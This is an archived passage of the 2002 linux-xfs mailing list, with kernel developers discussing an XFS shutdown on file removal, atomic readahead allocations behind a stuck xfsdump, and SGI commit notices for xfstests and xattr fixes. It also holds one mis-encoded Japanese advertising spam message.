Resolution| |DUPLICATE ------- Additional Comments From knutjbj@online.no 2002-11-17 11:36 ------- *** This bug has been marked as a duplicate of 197 *** ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Sun Nov 17 11:48:20 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 11:48:22 -0800 (PST) Received: from banix (mail@psychedelic.baana.suomi.net [213.139.166.169]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAHJmJuR010935 for ; Sun, 17 Nov 2002 11:48:20 -0800 Received: from bunnyh by banix with local (Exim 3.35 #1 (Debian)) id 18DVQt-0001EK-00 for ; Sun, 17 Nov 2002 21:50:15 +0200 Date: Sun, 17 Nov 2002 21:50:15 +0200 To: linux-xfs@oss.sgi.com Subject: xfs_force_shutdown on rm Message-ID: <20021117195015.GA4596@psychedelic.baana.suomi.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i From: Juha K Kallio X-archive-position: 1767 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bunnyh@psychedelic.baana.suomi.net Precedence: bulk X-list: linux-xfs My CVS kernel from Nov 15. 2002 had the following problem: bunnyh@jaenoe:/usr/src > rm -r linux xfs_force_shutdown(ide2(33,1),0x8) called from line 4047 of file xfs_bmap.c. Return address = 0xc0181bbb Filesystem "ide2(33,1)": Corruption of in-memory data detected. Shutting down filesystem: ide2(33,1) Please umount the filesystem, and rectify the problem(s) The log was cleanly replayed after rebooting, and trying to remove /usr/src/linux caused the same problem again. Half a year xfs_repair from Gentoo 1.0 install CD didn't find anything related to this. Strangely this gentoo installer's kernel was able to rm -r /usr/src/linux without problems. From owner-linux-xfs@oss.sgi.com Sun Nov 17 12:09:01 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 12:09:03 -0800 (PST) Received: from packet.digeo.com (packet.digeo.com [12.110.80.53]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAHK91uR011666 for ; Sun, 17 Nov 2002 12:09:01 -0800 Received: from digeo-nav01.digeo.com (digeo-nav01.digeo.com [192.168.1.233]) by packet.digeo.com (8.9.3+Sun/8.9.3) with SMTP id MAA13133 for ; Sun, 17 Nov 2002 12:10:53 -0800 (PST) Received: from digeo-e2k03.digeo.com ([192.168.2.44]) by digeo-nav01.digeo.com (NAVGW 2.5.2.12) with SMTP id M2002111712130408435 ; Sun, 17 Nov 2002 12:13:04 -0800 Received: from pao-ex01.pao.digeo.com ([172.17.144.34]) by digeo-e2k03.digeo.com with Microsoft SMTPSVC(5.0.2195.5329); Sun, 17 Nov 2002 12:10:52 -0800 Received: from digeo.com ([172.17.144.18]) by pao-ex01.pao.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Sun, 17 Nov 2002 12:10:51 -0800 Message-ID: <3DD7F7CB.F292C9C7@digeo.com> Date: Sun, 17 Nov 2002 12:10:51 -0800 From: Andrew Morton X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.5.46 i686) X-Accept-Language: en MIME-Version: 1.0 To: zlatko.calusic@iskon.hr CC: Stephen Lord , Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <20021115164012.A28685@wotan.suse.de> <87u1ih4x29.fsf@atlas.iskon.hr> <1037539697.1240.30.camel@laptop.americas.sgi.com> <877kfcqmy5.fsf@atlas.iskon.hr> <3DD7EB2C.C20F312E@digeo.com> <87n0o8c7g5.fsf@atlas.iskon.hr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 17 Nov 2002 20:10:51.0893 (UTC) FILETIME=[6D7B9A50:01C28E75] X-archive-position: 1768 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: akpm@digeo.com Precedence: bulk X-list: linux-xfs Zlatko Calusic wrote: > > ... > Call Trace: > [bounce_end_io+33/120] __alloc_pages+0x249/0x274 > [move_vma+433/912] find_or_create_page+0x3d/0x98 > [xfs_parseargs+1623/1844] _pagebuf_lookup_pages+0x19b/0x3cc > [xfs_initialize_vnode+188/508] pagebuf_get+0x90/0x110 > [xfs_initialize_vnode+455/508] pagebuf_readahead+0x23/0x28 #ifndef GFP_READAHEAD #define GFP_READAHEAD 0 #endif That's an atomic, low-priority allocation. It is expected to fail, and can easily do so. So there's your reason - this can quite easily outrun kswapd. If we really want to do it this way (and I suspect we don't) then the allocation attempt should be wrapped in PF_NOWARN to keep the messages away. And it should be changed to __GFP_HIGHMEM so XFS can perform readahead into highmem pages. However it is probably best to change this to just use mapping->gfp_mask. I vaguely recall that the nonblocking allocation improved performance in some situations, but it's quite possible that the VM problem which made that a good thing got fixed. And you really should run page reclaim for readahead - the system is more likely to use readahead pages in the near future than it is to use pages at the tail of the inactive list. From owner-linux-xfs@oss.sgi.com Sun Nov 17 12:47:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 12:47:59 -0800 (PST) Received: from mail.iskon.hr (inje.iskon.hr [213.191.128.16]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAHKlpuR012317 for ; Sun, 17 Nov 2002 12:47:52 -0800 Received: (qmail 26759 invoked from network); 17 Nov 2002 21:49:47 +0100 Received: from oganj.iskon.hr (HELO magla.zg.iskon.hr) (213.191.128.21) by mail.iskon.hr with SMTP; 17 Nov 2002 21:49:47 +0100 Received: from magla.zg.iskon.hr (zcalusic@localhost [127.0.0.1]) by magla.zg.iskon.hr (8.12.6/8.12.6/Debian-8) with ESMTP id gAHKnkov016495; Sun, 17 Nov 2002 21:49:47 +0100 Received: (from zcalusic@localhost) by magla.zg.iskon.hr (8.12.6/8.12.6/Debian-8) id gAHKniMv016492; Sun, 17 Nov 2002 21:49:44 +0100 To: Andrew Morton Cc: Stephen Lord , Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <20021115164012.A28685@wotan.suse.de> <87u1ih4x29.fsf@atlas.iskon.hr> <1037539697.1240.30.camel@laptop.americas.sgi.com> <877kfcqmy5.fsf@atlas.iskon.hr> <3DD7EB2C.C20F312E@digeo.com> <87n0o8c7g5.fsf@atlas.iskon.hr> <3DD7F7CB.F292C9C7@digeo.com> Reply-To: zlatko.calusic@iskon.hr X-Face: s71Vs\G4I3mB$X2=P4h[aszUL\%"`1!YRYl[JGlC57kU-`kxADX}T/Bq)Q9.$fGh7lFNb.s i&L3xVb:q_Pr}>Eo(@kU,c:3:64cR]m@27>1tGl1):#(bs*Ip0c}N{:JGcgOXd9H'Nwm:}jLr\FZtZ pri/C@\,4lW<|jrq^<):Nk%Hp@G&F"r+n1@BoH From: Zlatko Calusic Date: Sun, 17 Nov 2002 21:49:44 +0100 In-Reply-To: <3DD7F7CB.F292C9C7@digeo.com> (Andrew Morton's message of "Sun, 17 Nov 2002 12:10:51 -0800") Message-ID: Lines: 50 User-Agent: Gnus/5.090005 (Oort Gnus v0.05) XEmacs/21.4 (Honest Recruiter, i386-debian-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 1769 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: zlatko.calusic@iskon.hr Precedence: bulk X-list: linux-xfs Andrew Morton writes: > > #ifndef GFP_READAHEAD > #define GFP_READAHEAD 0 > #endif > > That's an atomic, low-priority allocation. It is expected to > fail, and can easily do so. Ups, you're right, of course. I totally misinterpreted gfp_mask 0x0, forgot it means atomic. > > So there's your reason - this can quite easily outrun kswapd. > Of course. > If we really want to do it this way (and I suspect we don't) > then the allocation attempt should be wrapped in PF_NOWARN > to keep the messages away. > That won't be of much help, as when xfsdump stucks on the page failure, it is unkillable, and some partitions can't be cleanly unmounted later, and other stuff gets messed up... Messages in the kernel log are the least of our problems (also because there's not that much of them, typicaly 1 - 10). > And it should be changed to __GFP_HIGHMEM so XFS can perform > readahead into highmem pages. > > However it is probably best to change this to just use > mapping->gfp_mask. I vaguely recall that the nonblocking allocation > improved performance in some situations, but it's quite possible > that the VM problem which made that a good thing got fixed. > > And you really should run page reclaim for readahead - the system > is more likely to use readahead pages in the near future than it > is to use pages at the tail of the inactive list. I think I'll leave it to xfs guys now to fix it properly, I don't even understand why allocating pages for readahead needs to be atomic. Thanks for explanation. Regards, -- Zlatko From owner-linux-xfs@oss.sgi.com Sun Nov 17 12:54:25 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 12:54:29 -0800 (PST) Received: from packet.digeo.com (packet.digeo.com [12.110.80.53]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAHKsPuR012778 for ; Sun, 17 Nov 2002 12:54:25 -0800 Received: from digeo-nav01.digeo.com (digeo-nav01.digeo.com [192.168.1.233]) by packet.digeo.com (8.9.3+Sun/8.9.3) with SMTP id MAA13498 for ; Sun, 17 Nov 2002 12:56:16 -0800 (PST) Received: from digeo-e2k03.digeo.com ([192.168.2.44]) by digeo-nav01.digeo.com (NAVGW 2.5.2.12) with SMTP id M2002111712582815424 ; Sun, 17 Nov 2002 12:58:28 -0800 Received: from pao-ex01.pao.digeo.com ([172.17.144.34]) by digeo-e2k03.digeo.com with Microsoft SMTPSVC(5.0.2195.5329); Sun, 17 Nov 2002 12:56:16 -0800 Received: from digeo.com ([172.17.144.18]) by pao-ex01.pao.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Sun, 17 Nov 2002 12:56:15 -0800 Message-ID: <3DD8026F.4906FE3B@digeo.com> Date: Sun, 17 Nov 2002 12:56:15 -0800 From: Andrew Morton X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.5.46 i686) X-Accept-Language: en MIME-Version: 1.0 To: zlatko.calusic@iskon.hr CC: Stephen Lord , Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <20021115164012.A28685@wotan.suse.de> <87u1ih4x29.fsf@atlas.iskon.hr> <1037539697.1240.30.camel@laptop.americas.sgi.com> <877kfcqmy5.fsf@atlas.iskon.hr> <3DD7EB2C.C20F312E@digeo.com> <87n0o8c7g5.fsf@atlas.iskon.hr> <3DD7F7CB.F292C9C7@digeo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 17 Nov 2002 20:56:16.0045 (UTC) FILETIME=[C53435D0:01C28E7B] X-archive-position: 1770 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: akpm@digeo.com Precedence: bulk X-list: linux-xfs Zlatko Calusic wrote: > > That won't be of much help, as when xfsdump stucks on the page > failure, it is unkillable, and some partitions can't be cleanly > unmounted later, and other stuff gets messed up... > oh, ow. That points at a different problem, which should be looked at before diddling the allocation mode... From owner-linux-xfs@oss.sgi.com Sun Nov 17 13:53:52 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 13:53:58 -0800 (PST) Received: from gum.itee.uq.edu.au (gum.itee.uq.edu.au [130.102.66.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAHLrpuR013651 for ; Sun, 17 Nov 2002 13:53:52 -0800 Received: from nut.itee.uq.edu.au (nut.itee.uq.edu.au [130.102.66.13]) by gum.itee.uq.edu.au (8.12.6/8.12.6) with ESMTP id gAHLtY0i020362; Mon, 18 Nov 2002 07:55:34 +1000 (EST) Received: from mango.csee.uq.edu.au (mango.itee.uq.edu.au [130.102.66.4]) by nut.itee.uq.edu.au (8.12.6/8.12.6) with ESMTP id gAHLtYXo017817; Mon, 18 Nov 2002 07:55:34 +1000 (EST) Date: Mon, 18 Nov 2002 07:55:34 +1000 (EST) From: Chris Pascoe X-X-Sender: chrisp@mango.csee.uq.edu.au To: Juha K Kallio cc: linux-xfs@oss.sgi.com Subject: Re: xfs_force_shutdown on rm In-Reply-To: <20021117195015.GA4596@psychedelic.baana.suomi.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Checked: This message probably not SPAM X-Spam-Score: -2.2 X-Spam-Tests: EMAIL_ATTRIBUTION,IN_REP_TO,SPAM_PHRASE_00_01,USER_AGENT_PINE X-Scanned-By: MIMEDefang 2.24 (www . roaringpenguin . com / mimedefang) X-archive-position: 1771 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: c.pascoe@itee.uq.edu.au Precedence: bulk X-list: linux-xfs On Sun, 17 Nov 2002, Juha K Kallio wrote: > My CVS kernel from Nov 15. 2002 had the following problem: > > bunnyh@jaenoe:/usr/src > rm -r linux > xfs_force_shutdown(ide2(33,1),0x8) called from line 4047 of file xfs_bmap.c. Return address = 0xc0181bbb > Filesystem "ide2(33,1)": Corruption of in-memory data detected. Shutting down filesystem: ide2(33,1) > Please umount the filesystem, and rectify the problem(s) Juha, What version of gcc did you use to build this kernel? Can you try rebuilding it with egcs 2.91.66 (if it wasn't what you built with) and see if the problem goes away? Regards, Chris From owner-linux-xfs@oss.sgi.com Sun Nov 17 15:12:35 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 15:12:38 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAHNCYuR014640 for ; Sun, 17 Nov 2002 15:12:34 -0800 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 479FF1482A; Mon, 18 Nov 2002 00:14:26 +0100 (MET) Date: Mon, 18 Nov 2002 00:14:25 +0100 From: Andi Kleen To: Zlatko Calusic Cc: Andrew Morton , Stephen Lord , Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule Message-ID: <20021118001425.A14173@wotan.suse.de> References: <20021115140635.A31836@wotan.suse.de> <20021115164012.A28685@wotan.suse.de> <87u1ih4x29.fsf@atlas.iskon.hr> <1037539697.1240.30.camel@laptop.americas.sgi.com> <877kfcqmy5.fsf@atlas.iskon.hr> <3DD7EB2C.C20F312E@digeo.com> <87n0o8c7g5.fsf@atlas.iskon.hr> <3DD7F7CB.F292C9C7@digeo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.22.1i X-archive-position: 1772 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: linux-xfs > I think I'll leave it to xfs guys now to fix it properly, I don't even > understand why allocating pages for readahead needs to be atomic. Probably because it should not block. readahead is optional. -Andi From owner-linux-xfs@oss.sgi.com Sun Nov 17 18:50:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 18:50:48 -0800 (PST) Received: from banna (tky89-f062.alpha-net.ne.jp [210.229.89.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAI2oJuR017098 for ; Sun, 17 Nov 2002 18:50:41 -0800 Received: from wing-2f8mswpeuw ([192.168.0.5]) by banna (8.9.3+3.2W/3.7W) with SMTP id LAA01973; Mon, 18 Nov 2002 11:53:49 +0900 Message-Id: <200211180253.LAA01973@banna> From: =?iso-2022-jp?B?ZG1haWw1NTU1anA=?= To: =?iso-2022-jp?B?MDAwNQ==?=@banna.sgi.com Reply-To: dmail5555jp@yahoo.co.jp Date: Mon, 18 Nov 2002 11:51:36 +0900 Subject: =?iso-2022-jp?B?GyRCTCQ+NUJ6OS05cCIoRUU7UiVhITwlazktOXAbKEo=?= Content-Type: text/plain Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-archive-position: 1773 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: dmail5555jp@yahoo.co.jp Precedence: bulk X-list: linux-xfs <‘—MŽÒ> “dŽqƒ[ƒ‹LŽÐ ¡ŒãAL‚ð‚²Šó–]‚µ‚È‚¢•û‚Í‚±‚±‚Ö (•K‚¸–{•¶‚É‚ ‚È‚½‚̃[ƒ‹ƒAƒhƒŒƒX‚Ì‚Ý‚ð‚¨‘‚«‰º‚³‚¢j fmail3333jp@yahoo.co.jp ƒ[ƒ‹ƒAƒhƒŒƒX‚ð‚²‹L“ü‚µ‚Ä‚­‚¾‚³‚¢B §104-0061 “Œ‹ž“s’†‰›‹æ‹âÀ8-19-3 ‘æ2ƒEƒCƒ“ƒOƒrƒ‹@3F ƒ[ƒ‹ƒ}ƒKƒWƒ“”­s TEL@03-3544-6222 FAX@03-3544-6218 =============================================================== –â‘褕i‚΂©‚èW‚ß‚Ü‚µ‚½‚Ì‚ÅAÁ‚³‚ê‚é‹°‚ꂪ‚ ‚è‚Ü‚·‚Ì‚Å ‚¨\ž‚Ý‚Í‚¨‘‚ß‚ÉI =============================================================== ¡@“dŽqƒ[ƒ‹LŽÐ@¡ ÅV— î•ñIIŒ©‚Ä‚Ì‚¨Šy‚µ‚Ý «@@@@«@@@@«@ @http://neturl.nu/koukoku/ «@@@@«@@@@«@ http://urlto.net/koukoku/ «@@@@«@@@@«@ http://book-i.net/koukoku/ «@@@@«@@@@«@ http://index2.org/koukoku/ QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ From owner-linux-xfs@oss.sgi.com Sun Nov 17 21:16:37 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 21:16:41 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAI5GbuR025912 for ; Sun, 17 Nov 2002 21:16:37 -0800 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.55.176]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAI4M6Kp029977 for ; Sun, 17 Nov 2002 20:22:07 -0800 Received: (from fsgqa@localhost) by bruce.melbourne.sgi.com (8.9.3/8.9.3) id QAA10536 for linux-xfs@oss.sgi.com; Mon, 18 Nov 2002 16:17:28 +1100 Date: Mon, 18 Nov 2002 16:17:28 +1100 From: FSG QA Message-Id: <200211180517.QAA10536@bruce.melbourne.sgi.com> Subject: TAKE - QA/bench X-archive-position: 1774 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: fsgqa@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs [ nathans @ text box -- flush out backlog a bit, some old stuff, some new stuff. Test 070 at the end is the fsstress invocation currently showing issues with extended attribute writes. ] Small updates to dbench test runs, integrate some bonnie++ runs too. Date: Fri Nov 8 21:49:41 PST 2002 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:132575a cmd/xfstests/run.bonnie_io - 1.1 - bonnie throughput measures. cmd/xfstests/common.bonnie - 1.1 - common shell code behind the bonnie scripts. cmd/xfstests/run.bonnie_ops - 1.1 - bonnie ops/sec measures. cmd/xfstests/bench - 1.7 - Add a header showing mount and mkfs options. cmd/xfstests/run.dbench - 1.5 - minor updates - pass args onto common script, ensure here var is set. cmd/xfstests/run.tar - 1.6 - update the header information displayed. cmd/xfstests/run.dbench50 - 1.2 cmd/xfstests/run.dbench10 - 1.2 cmd/xfstests/run.dbench100 - 1.2 - minor updates - pass args onto common script, ensure here var is set. Fix up stderr handling in bench runs. Date: Sat Nov 9 12:13:42 PST 2002 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:132581a cmd/xfstests/bench - 1.8 cmd/xfstests/common.bonnie - 1.2 - Send stderr to the $FULL file, not inline with stdout. cmd/xfstests/run.bonnie_ops - 1.2 - Fix a broken awk use. Very minor tidyups in the report headers for bonnie runs. Date: Sun Nov 10 12:40:00 PST 2002 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:132626a cmd/xfstests/run.bonnie_io - 1.2 cmd/xfstests/run.bonnie_ops - 1.3 - Very minor tidyups in the report headers for bonnie runs. fix a typo - missing closing quote. Date: Sun Nov 10 16:25:59 PST 2002 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:132638a cmd/xfstests/bench - 1.10 unzip the tarfile in the tar measure - too much wasted space otehrwise. Date: Sun Nov 10 18:42:14 PST 2002 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:132648a cmd/xfstests/run.tar - 1.7 Add in test 070 - EA writing via fsstress. Date: Sun Nov 17 21:13:03 PST 2002 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:133352a cmd/xfstests/070 - 1.1 cmd/xfstests/070.out - 1.1 cmd/xfstests/group - 1.25 - Add in test 070 - EA writing via fsstress. Test case that currently causes a panic. From owner-linux-xfs@oss.sgi.com Sun Nov 17 21:23:35 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 21:23:36 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAI5NZuR026387 for ; Sun, 17 Nov 2002 21:23:35 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAI4T2Kp030204 for ; Sun, 17 Nov 2002 20:29:04 -0800 Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id QAA61924 for linux-xfs@oss.sgi.com; Mon, 18 Nov 2002 16:24:08 +1100 (EST) Date: Mon, 18 Nov 2002 16:24:08 +1100 (EST) From: Nathan Scott Message-Id: <200211180524.QAA61924@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - remove an assert X-archive-position: 1775 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Remove assert claiming data and attribute extents cannot be logged at the same time - Steve thinks this is unlikely to be a real problem, and it was masking real problems further on (see test 070). Date: Sun Nov 17 21:23:33 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133353a linux/fs/xfs/xfs_inode_item.c - 1.108 - Remove assert claiming data and attribute extents cannot be logged at the same time - Steve thinks this is unlikely to be a real problem, and it was masking real problems further on (see test 070). From owner-linux-xfs@oss.sgi.com Sun Nov 17 21:32:47 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 21:32:50 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAI5WkuR026854 for ; Sun, 17 Nov 2002 21:32:46 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAI4cCKp030545 for ; Sun, 17 Nov 2002 20:38:14 -0800 Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id QAA62479 for linux-xfs@oss.sgi.com; Mon, 18 Nov 2002 16:33:18 +1100 (EST) Date: Mon, 18 Nov 2002 16:33:18 +1100 (EST) From: Nathan Scott Message-Id: <200211180533.QAA62479@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - xattr.c X-archive-position: 1776 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Use kmalloc/kfree for all xattr memory allocations. This seems to help alot, but doesn't completely resolve the extended attributes fsstress issues - I still see panics in vunmap in pagebuf's purge_addresses routine when writing to EA values larger than the page size. cheers. Date: Sun Nov 17 21:28:39 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133355a linux/fs/xattr.c - 1.10 - Use kmalloc/kfree for all xattr memory allocations. From owner-linux-xfs@oss.sgi.com Sun Nov 17 23:52:01 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 23:52:07 -0800 (PST) Received: from banix (mail@psychedelic.baana.suomi.net [213.139.166.169]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAI7q0uR029334 for ; Sun, 17 Nov 2002 23:52:01 -0800 Received: from bunnyh by banix with local (Exim 3.35 #1 (Debian)) id 18DgjF-0003cs-00 for ; Mon, 18 Nov 2002 09:53:57 +0200 Date: Mon, 18 Nov 2002 09:53:57 +0200 To: linux-xfs@oss.sgi.com Subject: Re: xfs_force_shutdown on rm Message-ID: <20021118075357.GA13934@psychedelic.baana.suomi.net> References: <20021117195015.GA4596@psychedelic.baana.suomi.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i From: Juha K Kallio X-archive-position: 1777 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bunnyh@psychedelic.baana.suomi.net Precedence: bulk X-list: linux-xfs On Mon, Nov 18, 2002 at 07:55:34AM +1000, Chris Pascoe wrote: > On Sun, 17 Nov 2002, Juha K Kallio wrote: > > > My CVS kernel from Nov 15. 2002 had the following problem: > > > > bunnyh@jaenoe:/usr/src > rm -r linux > > xfs_force_shutdown(ide2(33,1),0x8) called from line 4047 of file xfs_bmap.c. Return address = 0xc0181bbb > > Filesystem "ide2(33,1)": Corruption of in-memory data detected. Shutting down filesystem: ide2(33,1) > > Please umount the filesystem, and rectify the problem(s) > > Juha, > > What version of gcc did you use to build this kernel? Can you try > rebuilding it with egcs 2.91.66 (if it wasn't what you built with) and > see if the problem goes away? > > Regards, > Chris > I can't reproduce the problem anymore, since I could remove the dir with the gentoo install disc. From owner-linux-xfs@oss.sgi.com Mon Nov 18 04:52:23 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 04:52:25 -0800 (PST) Received: from phoenix.infradead.org (carisma.slowglass.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAICqLuR008320 for ; Mon, 18 Nov 2002 04:52:22 -0800 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 18DlPs-0003EF-00; Mon, 18 Nov 2002 12:54:16 +0000 Date: Mon, 18 Nov 2002 12:54:16 +0000 From: Christoph Hellwig To: Andrew Morton Cc: zlatko.calusic@iskon.hr, Stephen Lord , Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule Message-ID: <20021118125415.A12167@infradead.org> References: <20021115140635.A31836@wotan.suse.de> <20021115164012.A28685@wotan.suse.de> <87u1ih4x29.fsf@atlas.iskon.hr> <1037539697.1240.30.camel@laptop.americas.sgi.com> <877kfcqmy5.fsf@atlas.iskon.hr> <3DD7EB2C.C20F312E@digeo.com> <87n0o8c7g5.fsf@atlas.iskon.hr> <3DD7F7CB.F292C9C7@digeo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <3DD7F7CB.F292C9C7@digeo.com>; from akpm@digeo.com on Sun, Nov 17, 2002 at 12:10:51PM -0800 X-archive-position: 1778 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: linux-xfs On Sun, Nov 17, 2002 at 12:10:51PM -0800, Andrew Morton wrote: > That's an atomic, low-priority allocation. It is expected to > fail, and can easily do so. > > So there's your reason - this can quite easily outrun kswapd. > > If we really want to do it this way (and I suspect we don't) > then the allocation attempt should be wrapped in PF_NOWARN > to keep the messages away. Yes, this is wanted. It's readahead for xfs's btree structures and it's supposed to fail instead of waking up kswapd or 